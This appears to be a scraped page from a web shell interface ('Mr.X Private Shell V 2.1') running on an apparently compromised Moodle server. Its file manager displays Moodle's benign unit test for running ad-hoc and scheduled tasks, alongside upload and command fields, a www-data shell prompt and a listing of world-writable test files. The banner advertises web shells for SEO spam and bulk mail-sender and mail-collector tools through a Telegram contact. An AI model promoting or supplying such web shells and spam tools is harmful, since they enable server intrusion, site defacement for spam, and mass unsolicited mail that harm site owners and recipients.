__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

namespace core\task;

/**
 * This file contains unit tests for the 'task running' data.
 *
 * @package   core
 * @category  test
 * @copyright 2019 The Open University
 * @license   http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
final class running_test extends \advanced_testcase {
    public static function setUpBeforeClass(): void {
        require_once(__DIR__ . '/../fixtures/task_fixtures.php');
        parent::setUpBeforeClass();
    }

    /**
     * Test for ad-hoc tasks.
     */
    public function test_adhoc_task_running(): void {
        $this->resetAfterTest();

        // Specify lock factory. The reason is that Postgres locks don't work within a single
        // process (i.e. if you try to get a lock that you already locked, it will just let you)
        // which is usually OK but not here where we are simulating running two tasks at once in
        // the same process.
        set_config('lock_factory', '\core\lock\db_record_lock_factory');

        // Create and queue 2 new ad-hoc tasks.
        $task1 = new adhoc_test_task();
        $task1->set_next_run_time(time() - 20);
        manager::queue_adhoc_task($task1);
        $task2 = new adhoc_test2_task();
        $task2->set_next_run_time(time() - 10);
        manager::queue_adhoc_task($task2);

        // Check no tasks are marked running.
        $running = manager::get_running_tasks();
        $this->assertEmpty($running);

        // Mark the first task running and check results.
        $before = time();
        $next1 = manager::get_next_adhoc_task(time());
        manager::adhoc_task_starting($next1);
        $after = time();
        $running = manager::get_running_tasks();
        $this->assertCount(1, $running);
        foreach ($running as $item) {
            $this->assertEquals('adhoc', $item->type);
            $this->assertLessThanOrEqual($after, $item->timestarted);
            $this->assertGreaterThanOrEqual($before, $item->timestarted);
        }

        // Mark the second task running and check results.
        $next2 = manager::get_next_adhoc_task(time());
        manager::adhoc_task_starting($next2);
        $running = manager::get_running_tasks();
        $this->assertCount(2, $running);

        // Second task completes successfully.
        manager::adhoc_task_complete($next2);
        $running = manager::get_running_tasks();
        $this->assertCount(1, $running);

        // First task fails.
        manager::adhoc_task_failed($next1);
        $running = manager::get_running_tasks();
        $this->assertCount(0, $running);
    }

    /**
     * Test for scheduled tasks.
     */
    public function test_scheduled_task_running(): void {
        global $DB;
        $this->resetAfterTest();

        // Check no tasks are marked running.
        $running = manager::get_running_tasks();
        $this->assertEmpty($running);

        // Disable all the tasks, except two, and set those two due to run.
        $DB->set_field_select('task_scheduled', 'disabled', 1, 'classname != ? AND classname != ?',
                ['\core\task\session_cleanup_task', '\core\task\file_trash_cleanup_task']);
        $DB->set_field('task_scheduled', 'nextruntime', 1,
                ['classname' => '\core\task\session_cleanup_task']);
        $DB->set_field('task_scheduled', 'nextruntime', 1,
                ['classname' => '\core\task\file_trash_cleanup_task']);
        $DB->set_field('task_scheduled', 'lastruntime', time() - 1000,
                ['classname' => '\core\task\session_cleanup_task']);
        $DB->set_field('task_scheduled', 'lastruntime', time() - 500,
                ['classname' => '\core\task\file_trash_cleanup_task']);

        // Get the first task and start it off.
        $next1 = manager::get_next_scheduled_task(time());
        $before = time();
        manager::scheduled_task_starting($next1);
        $after = time();
        $running = manager::get_running_tasks();
        $this->assertCount(1, $running);
        foreach ($running as $item) {
            $this->assertLessThanOrEqual($after, $item->timestarted);
            $this->assertGreaterThanOrEqual($before, $item->timestarted);
            $this->assertEquals('\core\task\session_cleanup_task', $item->classname);
        }

        // Mark the second task running and check results. We have to change the times so the other
        // one comes up first, otherwise it repeats the same one.
        $DB->set_field('task_scheduled', 'lastruntime', time() - 1500,
                ['classname' => '\core\task\file_trash_cleanup_task']);

        // Make sure that there is a time gap between task to sort them as expected.
        sleep(1);
        $next2 = manager::get_next_scheduled_task(time());
        manager::scheduled_task_starting($next2);

        // Check default sorting by timestarted.
        $running = manager::get_running_tasks();
        $this->assertCount(2, $running);
        $item = array_shift($running);
        $this->assertEquals('\core\task\session_cleanup_task', $item->classname);
        $item = array_shift($running);
        $this->assertEquals('\core\task\file_trash_cleanup_task', $item->classname);

        // Check sorting by time ASC.
        $running = manager::get_running_tasks('time ASC');
        $this->assertCount(2, $running);
        $item = array_shift($running);
        $this->assertEquals('\core\task\file_trash_cleanup_task', $item->classname);
        $item = array_shift($running);
        $this->assertEquals('\core\task\session_cleanup_task', $item->classname);

        // Complete the file trash one.
        manager::scheduled_task_complete($next2);
        $running = manager::get_running_tasks();
        $this->assertCount(1, $running);

        // Other task fails.
        manager::scheduled_task_failed($next1);
        $running = manager::get_running_tasks();
        $this->assertCount(0, $running);
    }
}

Filemanager

Name Type Size Permission Actions
adhoc_task_test.php File 34.24 KB 0777
automated_backup_task_test.php File 5.84 KB 0777
calendar_cron_task_test.php File 2.68 KB 0777
completion_daily_task_test.php File 5.04 KB 0777
database_logger_test.php File 20.01 KB 0777
file_temp_cleanup_task_test.php File 6.77 KB 0777
h5p_get_content_types_task_test.php File 2.45 KB 0777
hide_ended_courses_task_test.php File 4.65 KB 0777
logging_test.php File 16.88 KB 0777
manager_test.php File 14.01 KB 0777
running_test.php File 6.45 KB 0777
scheduled_task_test.php File 43.7 KB 0777
send_login_notifications_test.php File 11.1 KB 0777
show_started_courses_task_test.php File 4.55 KB 0777
stored_progress_bar_cleanup_task_test.php File 2.16 KB 0777
Filemanager